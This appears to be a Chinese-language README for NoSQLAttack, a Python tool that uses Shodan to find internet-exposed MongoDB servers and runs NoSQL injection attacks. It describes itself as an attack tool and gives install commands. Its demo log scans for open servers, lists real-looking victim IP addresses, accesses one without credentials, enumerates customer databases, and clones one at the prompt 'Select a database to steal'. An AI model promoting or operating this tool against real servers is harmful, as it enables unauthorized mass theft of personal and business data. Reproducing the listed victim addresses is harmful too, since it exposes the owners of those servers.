项目地址:https://github.com/youngyangyang04/NoSQLAttack

项目作者:youngyangyang04

介绍

NoSQLAttack 是一个用python编写的开源的攻击工具,用来暴露网络中默认配置mongoDB的IP并且下载目标mongoDB的数据,同时还可以针对以mongoDB为后台存储的应用进行注入攻击,使用这个工具就可以发现有成千上万的mongoDB裸奔在互联网上,并且数据可以随意下载。

这个攻击工具是基于tcstool的NoSQLMap和搜索引擎shodan

一些攻击的数据是来自于以下论文给予的启发

NoSQL注入攻击测试系统NoSQLInjectionAttackDemo,这里面有两个系统用来测试注入攻击。

背景介绍

在NoSQL注入攻击中有PHP数组注入,js注入和mongo shell拼接注入等多种方法可以攻击mongoDB,并且现在有成千上万的mongoDB暴露在互联网上,只要知道目标mongoDB的ip和端口号就可以把裸露的mongoDB中的数据都下载下来。

运行环境

项目运行在linux系统上,NoSQLAttack的依赖包已经写在setup.py文件里,并且已经在Ubuntu 和MAC OS X上都测试了,只需要执行这个脚本就可以自动配置好安装环境 开发这个项目使用时使用的是Pycharm COMMUNITY 2016.1,python的版本为2.7.10,使用者需要在本地电脑安装mongoDB

安装

在linux系统下可以直接将下载的项目解压,然后执行以下两个命令

cd NoSQLAttack  
python setup.py install  

使用方法

安装完毕后,执行一下命令就可以启动该项目

NoSQLAttack  

启动该项目后将会展现如下的界面,然后就可以开启黑客之旅了

================================================
NoSQL Attack  
================================================    
NoSQLAttack-v0.2  
sunxiuyang04@gmail.com


1-Scan attacked IP  
2-Configurate parameters  
3-MongoDB Access Attacks  
4-Injection Attacks  
x-Exit  

系统演示

===============================================
NoSQL Attack  
================================================     
NoSQLAttack-v0.2  
sunxiuyang04@gmail.com


1-Scan attacked IP  
2-Configurate parameters  
3-MongoDB Access Attacks  
4-Injection Attacks  
x-Exit  
Select an option:1  
Start Scanning.....  
Results found:28793  
1_Attacked IP : 149.202.88.135  
2_Attacked IP : 49.212.186.80  
3_Attacked IP : 85.9.62.231  
4_Attacked IP : 121.78.239.11  
5_Attacked IP : 54.226.207.112  
6_Attacked IP : 119.254.66.44  
7_Attacked IP : 121.46.0.83  
8_Attacked IP : 162.243.21.180  
9_Attacked IP : 210.23.29.75  
Select IP to attack:2  
Start Default Configuration Attack(y/n)?y  
DB access attacks(mongoDB)  
=========================
Checking to see if crendentials are need  
49.212.186.80

27017  
Successful access with no credentials!


1-Get Server Version and Platform  
2-Enumerate Databases/Collections/Users  
3-Clone a Database  
4-Return to Main Menu  
Select an attack: 2  
List of databases:  
MultiCopyService_UserData  
SmartNFC_UserData  
SmartShop_UserData  
KioskPointMng2_UserData  
admin  
db  
local

1-Get Server Version and Platform  
2-Enumerate Databases/Collections/Users  
3-Clone a Database  
4-Return to Main Menu  
Select an attack: 3


(1)MultiCopyService_UserData
(2)SmartNFC_UserData
(3)SmartShop_UserData
(4)KioskPointMng2_UserData
(5)admin
(6)db
(7)dbItem
(8)local

Select a database to steal:6  
Does this Database require credentials.(y/n)?n  
Database cloned. Copy another (y/n)?